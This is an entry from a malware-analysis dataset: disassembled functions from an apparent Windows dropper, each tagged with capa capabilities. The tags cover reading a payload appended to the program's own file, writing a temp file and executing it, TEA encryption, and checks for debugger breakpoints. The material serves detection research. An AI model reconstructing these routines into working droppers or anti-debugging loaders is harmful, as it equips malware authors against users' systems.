joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4538cf
Capabilities:
Contain obfuscated stackstrings
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov byte [ebp - 0x224], 0x12
mov byte [ebp - 0x223], 0x34
mov byte [ebp - 0x222], 0x56
mov byte [ebp - 0x221], 0x78
mov byte [ebp - 0x220], 0x87
mov byte [ebp - 0x21f], 0x65
mov byte [ebp - 0x21e], 0x34
mov byte [ebp - 0x21d], 0x21
mov byte [ebp - 0x234], 0x12
mov byte [ebp - 0x233], 0x34
mov byte [ebp - 0x232], 0x56
mov byte [ebp - 0x231], 0x79
mov byte [ebp - 0x230], 0x97
mov byte [ebp - 0x22f], 0x65
mov byte [ebp - 0x22e], 0x34
mov byte [ebp - 0x22d], 0x21
mov dword [0x464850], 1
push 0x208
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 3
push 0x80000000
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0xffffffff
je 0x453afd
push 0
mov edx, dword [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x22c], eax
push 2
push 0
push 0xfffffffffffffff8
mov eax, dword [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 0x218]
push ecx
push 8
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
jne 0x4539fc
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x453aff
push 8
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x224]
push eax
call fcn.0045e510
add esp, 0xc
test eax, eax
je 0x453a1c
xor eax, eax
jmp 0x453aff
push 2
push 0
push 0xfffffffffffffff4
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0x218]
push edx
push 4
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
jne 0x453a6e
mov edx, dword [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x453aff
push 4
push 0x1000
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x464dec], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x22c]
sub eax, dword [edx]
sub eax, 0xc
mov dword [ebp - 0x21c], eax
push 0
push 0
mov ecx, dword [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
mov eax, dword [0x464dec]
push eax
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
jne 0x453af6
mov edx, dword [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x453aff
mov eax, 1
jmp 0x453aff
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x453b03
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
lea eax, [ebp - 0x460]
push eax
push 0x1ff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x450498
lea ecx, [ebp - 0x460]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 4
push 0x1000
push 0xf000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x453b54
xor eax, eax
jmp 0x453c2e
mov edx, dword [ebp - 0x14]
push edx
push 0x441390
call fcn.00464210
add esp, 8
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x453bad
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0xf000
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x44
push 0
lea ecx, [ebp - 0x60]
push ecx
call fcn.0045e6c0
add esp, 0xc
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov word [ebp - 0x30], 1
push 0x10
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.0045e6c0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x460]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x453c1d
xor eax, eax
jmp 0x453c2e
push 0xffffffffffffffff
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x456ee8
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov cx, word [eax + 0x14]
mov edx, dword [ebp + 0xc]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
jmp 0x456f1c
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, 0x28
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov cx, word [eax + 6]
cmp dword [ebp - 8], ecx
jae 0x456f62
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x456f42
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax + 0xc]
jb 0x456f60
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
add eax, dword [ebp - 0xc]
cmp dword [ebp + 8], eax
jae 0x456f60
mov eax, dword [ebp - 4]
jmp 0x456f64
jmp 0x456f0a
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x457417
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], 0x9e3779b9
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 8], 0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], 0x20
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
test eax, eax
jle 0x4574cf
mov edx, dword [ebp - 8]
sub edx, 0x61c88647
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x20]
shl eax, 4
add eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 8]
xor eax, ecx
mov edx, dword [ebp - 0x20]
shr edx, 5
add edx, dword [ebp - 0xc]
xor eax, edx
mov ecx, dword [ebp - 0x18]
add ecx, eax
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
shl edx, 4
add edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 8]
xor edx, eax
mov ecx, dword [ebp - 0x18]
shr ecx, 5
add ecx, dword [ebp - 0x14]
xor edx, ecx
mov eax, dword [ebp - 0x20]
add eax, edx
mov dword [ebp - 0x20], eax
jmp 0x457469
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x18]
mov dword [ecx], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x20]
mov dword [eax + 4], ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x4574e6
Capabilities:
Decrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], 0x9e3779b9
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 8], 0xc6ef3720
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], 0x20
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
test eax, eax
jle 0x45759d
mov edx, dword [ebp - 0x18]
shl edx, 4
add edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 8]
xor edx, eax
mov ecx, dword [ebp - 0x18]
shr ecx, 5
add ecx, dword [ebp - 0x14]
xor edx, ecx
mov eax, dword [ebp - 0x20]
sub eax, edx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
shl ecx, 4
add ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 8]
xor ecx, edx
mov eax, dword [ebp - 0x20]
shr eax, 5
add eax, dword [ebp - 0xc]
xor ecx, eax
mov edx, dword [ebp - 0x18]
sub edx, ecx
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
add eax, 0x61c88647
mov dword [ebp - 8], eax
jmp 0x457538
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x18]
mov dword [ecx], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x20]
mov dword [eax + 4], ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x4582e5
Capabilities:
Check for software breakpoints
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x2c], fcn.0045428c
mov esi, dword [ebp - 0x2c]
mov al, byte [esi]
cmp al, 0xcc
je 0x458367
mov dword [ebp - 0x10], fcn.00453d3c
mov esi, dword [ebp - 0x10]
mov al, byte [esi]
cmp al, 0xcc
je 0x458367
mov dword [ebp - 0x18], fcn.0045857f
mov esi, dword [ebp - 0x18]
mov al, byte [esi]
cmp al, 0xcc
je 0x458367
mov dword [ebp - 0x24], 0x9e3779b9
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 8], 0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x30], 0x20
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
sub ecx, 1
mov dword [ebp - 0x30], ecx
test eax, eax
jle 0x4583cd
mov edx, dword [ebp - 8]
sub edx, 0x61c88647
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x28]
shl eax, 4
add eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 8]
xor eax, ecx
mov edx, dword [ebp - 0x28]
shr edx, 5
add edx, dword [ebp - 0xc]
xor eax, edx
mov ecx, dword [ebp - 0x20]
add ecx, eax
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
shl edx, 4
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 8]
xor edx, eax
mov ecx, dword [ebp - 0x20]
shr ecx, 5
add ecx, dword [ebp - 0x1c]
xor edx, ecx
mov eax, dword [ebp - 0x28]
add eax, edx
mov dword [ebp - 0x28], eax
jmp 0x458367
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x20]
mov dword [ecx], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x28]
mov dword [eax + 4], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4583e5
Capabilities:
Check for software breakpoints
Decrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x2c], fcn.0045428c
mov esi, dword [ebp - 0x2c]
mov al, byte [esi]
cmp al, 0xcc
je 0x458467
mov dword [ebp - 0x10], fcn.00453d3c
mov esi, dword [ebp - 0x10]
mov al, byte [esi]
cmp al, 0xcc
je 0x458467
mov dword [ebp - 0x18], fcn.004583e5
mov esi, dword [ebp - 0x18]
mov al, byte [esi]
cmp al, 0xcc
je 0x458467
mov dword [ebp - 0x24], 0x9e3779b9
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 8], 0xc6ef3720
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x30], 0x20
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
sub ecx, 1
mov dword [ebp - 0x30], ecx
test eax, eax
jle 0x4584cc
mov edx, dword [ebp - 0x20]
shl edx, 4
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 8]
xor edx, eax
mov ecx, dword [ebp - 0x20]
shr ecx, 5
add ecx, dword [ebp - 0x1c]
xor edx, ecx
mov eax, dword [ebp - 0x28]
sub eax, edx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
shl ecx, 4
add ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 8]
xor ecx, edx
mov eax, dword [ebp - 0x28]
shr eax, 5
add eax, dword [ebp - 0xc]
xor ecx, eax
mov edx, dword [ebp - 0x20]
sub edx, ecx
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 8]
add eax, 0x61c88647
mov dword [ebp - 8], eax
jmp 0x458467
wait
Function at 0x458639
Capabilities:
Check for software breakpoints
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x2c], fcn.0045428c
mov esi, dword [ebp - 0x2c]
mov al, byte [esi]
cmp al, 0xcc
je 0x4586bb
mov dword [ebp - 0x10], fcn.00453d3c
mov esi, dword [ebp - 0x10]
mov al, byte [esi]
cmp al, 0xcc
je 0x4586bb
mov dword [ebp - 0x18], fcn.0045857f
mov esi, dword [ebp - 0x18]
mov al, byte [esi]
cmp al, 0xcc
je 0x4586bb
mov dword [ebp - 0x24], 0x9e3779b9
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 8], 0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x30], 0x20
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
sub ecx, 1
mov dword [ebp - 0x30], ecx
test eax, eax
jle 0x458721
mov edx, dword [ebp - 8]
sub edx, 0x61c88647
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x28]
shl eax, 4
add eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 8]
xor eax, ecx
mov edx, dword [ebp - 0x28]
shr edx, 5
add edx, dword [ebp - 0xc]
xor eax, edx
mov ecx, dword [ebp - 0x20]
add ecx, eax
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
shl edx, 4
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 8]
xor edx, eax
mov ecx, dword [ebp - 0x20]
shr ecx, 5
add ecx, dword [ebp - 0x1c]
xor edx, ecx
mov eax, dword [ebp - 0x28]
add eax, edx
mov dword [ebp - 0x28], eax
jmp 0x4586bb
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x20]
mov dword [ecx], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x28]
mov dword [eax + 4], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x458739
Capabilities:
Check for software breakpoints
Decrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x2c], fcn.0045428c
mov esi, dword [ebp - 0x2c]
mov al, byte [esi]
cmp al, 0xcc
je 0x4587bb
mov dword [ebp - 0x10], fcn.00453d3c
mov esi, dword [ebp - 0x10]
mov al, byte [esi]
cmp al, 0xcc
je 0x4587bb
mov dword [ebp - 0x18], fcn.0045857f
mov esi, dword [ebp - 0x18]
mov al, byte [esi]
cmp al, 0xcc
je 0x4587bb
mov dword [ebp - 0x24], 0x9e3779b9
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 8], 0xc6ef3720
mov dword [ebp - 0x30], 0x20
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
sub ecx, 1
mov dword [ebp - 0x30], ecx
test eax, eax
jle 0x458820
mov edx, dword [ebp - 0x20]
shl edx, 4
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 8]
xor edx, eax
mov ecx, dword [ebp - 0x20]
shr ecx, 5
add ecx, dword [ebp - 0x1c]
xor edx, ecx
mov eax, dword [ebp - 0x28]
sub eax, edx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
shl ecx, 4
add ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 8]
xor ecx, edx
mov eax, dword [ebp - 0x28]
shr eax, 5
add eax, dword [ebp - 0xc]
xor ecx, eax
mov edx, dword [ebp - 0x20]
sub edx, ecx
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 8]
add eax, 0x61c88647
mov dword [ebp - 8], eax
jmp 0x4587bb
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x20]
mov dword [ecx], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x28]
mov dword [eax + 4], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4589d0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x464e70]
mov ecx, dword [eax + 0x228]
test ecx, ecx
je 0x4589ea
mov ecx, dword [esp + 4]
mov dword [eax + 0x22c], ecx
ret
push 0x452154
call fcn.00458c10
add esp, 4
mov ecx, dword [0x464e70]
mov eax, dword [ecx + 0x20]
cmp eax, 0x18
jge 0x458a13
mov edx, dword [ecx + eax*4 + 0x24]
mov eax, dword [edx*4 + 0x45101c]
push eax
jmp 0x458a18
push 0x452150
call fcn.00458c10
add esp, 4
push esi
push 0x4521a8
push 0xa
call fcn.0045ee57
mov ecx, dword [0x464e70]
add esp, 8
mov esi, dword [ecx + 0x20]
dec esi
js 0x458a8e
push edi
lea edi, [esi*4 + 0x24]
push 0x452134
call fcn.00458c10
add esp, 4
cmp esi, 0x18
jge 0x458a69
mov edx, dword [0x464e70]
mov eax, dword [edi + edx]
mov ecx, dword [eax*4 + 0x45101c]
push ecx
jmp 0x458a6e
push 0x452150
call fcn.00458c10
add esp, 4
push 0x4521a8
push 0xa
call fcn.0045ee57
add esp, 8
dec esi
sub edi, 4
test esi, esi
jge 0x458a44
pop edi
mov edx, dword [esp + 8]
pop esi
lea eax, [edx - 1]
cmp eax, 0x1b
ja case.default.0x458a9f
jmp dword [eax*4 + 0x458b9c]
push 0x45210c
jmp 0x458b8d
push 0x4520f0
jmp 0x458b8d
push 0x4520d4
jmp 0x458b8d
push 0x4520b4
jmp 0x458b8d
push 0x4520a0
jmp 0x458b8d
push 0x452088
jmp 0x458b8d
push 0x45206c
jmp 0x458b8d
push 0x45205c
jmp 0x458b8d
push 0x45203c
jmp 0x458b8d
push 0x452018
jmp 0x458b8d
push 0x451ff8
jmp 0x458b8d
push 0x451fc8
jmp 0x458b8d
push 0x451fb8
jmp 0x458b8d
push 0x451fa4
jmp 0x458b8d
push 0x451f84
jmp 0x458b8d
push 0x451f60
jmp 0x458b8d
push 0x451f48
jmp 0x458b8d
push 0x451f18
jmp 0x458b8d
push 0x451f04
jmp 0x458b8d
push 0x451ef0
jmp 0x458b8d
push 0x451edc
jmp 0x458b8d
push 0x451eb4
jmp 0x458b8d
push 0x451e80
jmp 0x458b8d
push 0x451e5c
jmp 0x458b8d
push 0x451e30
jmp 0x458b8d
push 0x451df0
jmp 0x458b8d
push 0x451dd0
jmp 0x458b8d
push 0x451dbc
jmp 0x458b8d
push 0x451da8
call fcn.00458c10
add esp, 4
push 0
call fcn.0045ed82
cmpsb byte [esi], byte es:[edi]
mov al, byte [ebp]
mov al, 0x8a
inc ebp
add byte [edx - 0x3bffba76], bh
mov al, byte [ebp]
into
mov al, byte [ebp]
fmul dword [edx - 0x751dffbb]
inc ebp
add ah, ch
mov al, byte [ebp]
test byte [edx - 0x74ffffbb], 0x45
add byte [edx], cl
mov eax, dword [ebp]
adc dword [ebx - 0x74e7ffbb], ecx
inc ebp
add byte [edi], bl
mov eax, dword [ebp]
mov eax, dword es:[ebp]
sub eax, 872433035
mov eax, dword [ebp]
cmp ecx, dword [ebx - 0x74bdffbb]
inc ebp
add byte [ecx - 0x75], cl
inc ebp
add byte [eax - 0x75], dl
inc ebp
add byte [edi - 0x75], dl
inc ebp
add byte [esi - 0x75], bl
inc ebp
add byte [ebp - 0x75], ah
inc ebp
add byte [ebx + ecx*4 + 0x45], ch
add byte [ebx - 0x75], dh
inc ebp
add byte [edx - 0x75], bh
inc ebp
add byte [ecx - 0x6fffba75], al
nop
nop
nop
Function at 0x45fdc5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4524b8
cmp edx, dword [eax]
je 0x45fde7
add eax, 8
inc ecx
cmp eax, 0x452548
jl 0x45fdd8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4524b8]
jne 0x45ff15
mov eax, dword [0x464e98]
cmp eax, 1
je 0x45feef
test eax, eax
jne 0x45fe18
cmp dword [0x452184], 1
je 0x45feef
cmp edx, 0xfc
je 0x45ff15
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x45fe4f
lea eax, [ebp - 0x1a4]
push 0x45342c
push eax
call fcn.004615f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0045eb00
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x45fe92
lea eax, [ebp - 0x1a4]
push eax
call fcn.0045eb00
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x453428
push edi
call fcn.00461b50
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x45340c
push eax
call fcn.004615f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00461600
lea eax, [ebp - 0xa0]
push 0x453408
push eax
call fcn.00461600
push dword [esi + 0x4524bc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00461600
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4533e0
push eax
call fcn.00461ac0
add esp, 0x2c
pop edi
jmp 0x45ff15
lea eax, [ebp + 8]
lea esi, [esi + 0x4524bc]
push 0
push eax
push dword [esi]
call fcn.0045eb00
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x463190
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push edi
mov edi, dword [esi]
xor edx, edx
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [esp + 0x10], edi
mov edi, dword [esi + 4]
mov dword [esp + 0x24], edi
mov edi, dword [esi + 8]
mov esi, dword [esi + 0xc]
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], esi
mov edi, 0x20
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x10]
mov esi, ecx
sub edx, 0x61c88647
shr esi, 5
add esi, ebx
mov ebx, ecx
shl ebx, 4
add ebx, ebp
mov ebp, dword [esp + 0x18]
xor esi, ebx
lea ebx, [edx + ecx]
xor esi, ebx
mov ebx, dword [esp + 0x14]
add eax, esi
mov esi, eax
shr esi, 5
add esi, ebx
mov ebx, eax
shl ebx, 4
add ebx, ebp
xor esi, ebx
lea ebx, [edx + eax]
xor esi, ebx
add ecx, esi
dec edi
jne 0x4631c6
mov edx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
mov dword [edx], eax
mov dword [edx + 4], ecx
pop ebx
add esp, 0xc
ret 8
Function at 0x4639a0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x114
push ebx
mov ebx, dword [esp + 0x11c]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push esi
push edi
xor edi, edi
mov dword [esp + 0x14], 0x104
mov dword [esp + 0x10], edi
lea eax, [esp + 0x18]
lea ecx, [esp + 0x14]
push eax
push 0
push 0
push 0
lea edx, [esp + 0x30]
push ecx
push edx
push edi
push ebx
call ebp
mov esi, eax
test esi, esi
jne 0x463a1a
lea eax, [esp + 0x24]
push 0x15
push eax
push 0x452b14
mov dword [esp + 0x20], 0xc8
call fcn.0045eb80
add esp, 0xc
test eax, eax
jne 0x463a1a
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x12c]
cmp ecx, eax
je 0x463a2c
mov eax, ecx
inc eax
mov dword [esp + 0x10], eax
inc edi
test esi, esi
je 0x4639c5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x114
ret
mov edx, dword [esp + 0x130]
mov ecx, dword [0x452b0c]
mov eax, edx
lea edi, [esp + 0x24]
mov dword [eax], ecx
mov cl, byte [0x452b10]
mov byte [eax + 4], cl
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
